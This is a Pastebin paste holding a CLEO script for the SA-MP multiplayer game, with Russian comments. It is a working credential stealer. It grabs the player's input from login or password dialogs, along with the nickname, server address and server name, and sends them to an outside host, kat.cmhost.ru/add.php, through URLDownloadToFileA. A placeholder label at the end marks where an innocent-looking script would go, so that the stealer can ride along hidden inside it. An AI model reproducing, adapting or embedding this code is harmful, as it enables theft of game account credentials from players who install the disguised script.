Guest User

Untitled

a guest
May 21st, 2014
495
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.32 KB | None | 0 0
  1. {$CLEO .cs}
  2. thread 'Toplivo))'
  3. wait 3000
  4. 13@ = 15 //id базы
  5. While true
  6. wait 0
  7. if SAMP.IsDialogActive(-1)
  8. then
  9. 0@ = SAMP.GetDialogType()
  10. if or
  11. 0@ == 0
  12. 0@ == 3
  13. then
  14. 12@ = SAMP.GetDialogID()
  15. While SAMP.IsDialogActive(12)
  16. wait 0
  17. alloc 7@ 516
  18. alloc 4@ 32
  19. alloc 11@ 100
  20. alloc 20@ 32
  21. SAMP.ShowDialog(17, "", "", ".", "", DIALOG_STYLE_MSGBOX)
  22. SAMP.CloseDialog(1)
  23. SAMP.DialogRespond(-1, 0, 0, 20@)
  24. 0AC6: 1@ = label @Url offset
  25. 10@ = SAMP.GetSAMPPlayerIDByActorHandle($PLAYER_ACTOR)
  26. 2@ = SAMP.GetPlayerNickname(10@)
  27. SAMP.GetCurrentServerAddress(4@, 5@)
  28. 11@ = SAMP.GetCurrentServerName()
  29. format 7@ "%slog=%s&srvr=%s:%d&inf=%s&servname=%s&did=%d&stuid=%d" 1@ 2@ 4@ 5@ 20@ 11@ 12@ 13@
  30. 0AA2: 8@ = load_library "urlmon.dll" // IF and SET
  31. 0AA4: 9@ = get_proc_address "URLDownloadToFileA" library 8@ // IF and SET
  32. 0AA5: call 9@ num_params 5 pop 0 0 0 "%TEMP%\2352sfe.tmp" 7@ 0
  33. free 7@
  34. free 4@
  35. free 11@
  36. free 20@
  37. 0AA3: free_library 8@
  38. jump @Script
  39. end
  40. end
  41. end
  42. :url
  43. hex
  44. "http:" 2f 2f "kat.cmhost.ru" 2f "add.php?" 00
  45. end
  46.  
  47. :Script //Здеся скрипт
Advertisement
Add Comment
Please, Sign In to add comment